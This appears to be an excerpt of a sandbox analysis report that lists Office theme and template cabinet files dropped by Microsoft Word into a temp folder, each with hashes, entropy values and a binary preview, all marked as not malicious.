Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cabDB41.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cabDB51.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cabDB54.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cabDB55.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cabDBAE.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cabDC13.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cabDC25.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cabDC36.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cabDC37.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 252241 bytes, 2 files, at 0x44 +A "content.inf" +A "Frame.thmx", flags 0x4, ID 34169, number 1, extra bytes 20 in head, 16 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	271273
Entropy (8bit):	7.995547668305345
Encrypted:	true
SSDEEP:	6144:zfdvQnJMwXse4Vradf3mrC7woyWbjKlCVC7K:zfJwJse4VrS1AK
MD5:	21437897C9B88AC2CB2BB2FEF922D191
SHA1:	0CAD3D026AF2270013F67E43CB44F0568013162D
SHA-256:	372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384
SHA-512:	A74DA3775C19A7AF4A689FA4D920E416AB9F40A8BDA82CCF651DDB3EACBC5E932A120ABF55F855474CEBED0B0082F45D091E211AAEA6460424BFD23C2A445CC7
Malicious:	false
Preview:	MSCF....Q.......D...............y...........Q...XJ..........{..................M.. .content.inf.(..........M.. .Frame.thmx.1....b..[.........B.....6....ZZ}....BH..-D..}..V.V-........Z..O.....H.f..........;..@d.`......!..=;.,bp..K.q....s.y....D.qZ)p......D...r.S....s=B.4.).8B....4.a6 ...~........."....#.....}....n.Q.1cH.%c/.U....E..E...!..Da.p....X..G..:.....1.@.....W.'...._........W.c...<.v.k.....&.8......?.h.>d._:-.X.......9..tL}........3.;.N3.D~......>.^?..\|:...}......oT.z.......w..[..}:...._fu........Kk.......L..9..p..e..^......K.%...Mapqhvv..E&.^.....[...9\|"l...9...U......!..w..Nya...~C.yx...w.K..q.z.j.W?t.......DY.x.S2.....]..na.Qj...X.K..^...S.hK.W...Z....s.0...NF...8C.......j.'Zc...k.%...l....S.....OW..o.Qf.x...X.;<.rO].....W.m.e....T.1.6........".....Q.3........l..v.."..I...&......w..4vE...c.s[.3.m..8.q$.....a...)...&:6..,..#..?....;.!.....~.UP.r=.}h.&U......X...]..X.e\u.G<....E....lG.@.Z...10.D@.]....z+-.S....p..Y.PK.:.S..p.....1E`..-

C:\Users\user\AppData\Local\Temp\cabDC67.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cabDC68.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cabDD49.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cabDD5A.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cabDD7B.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
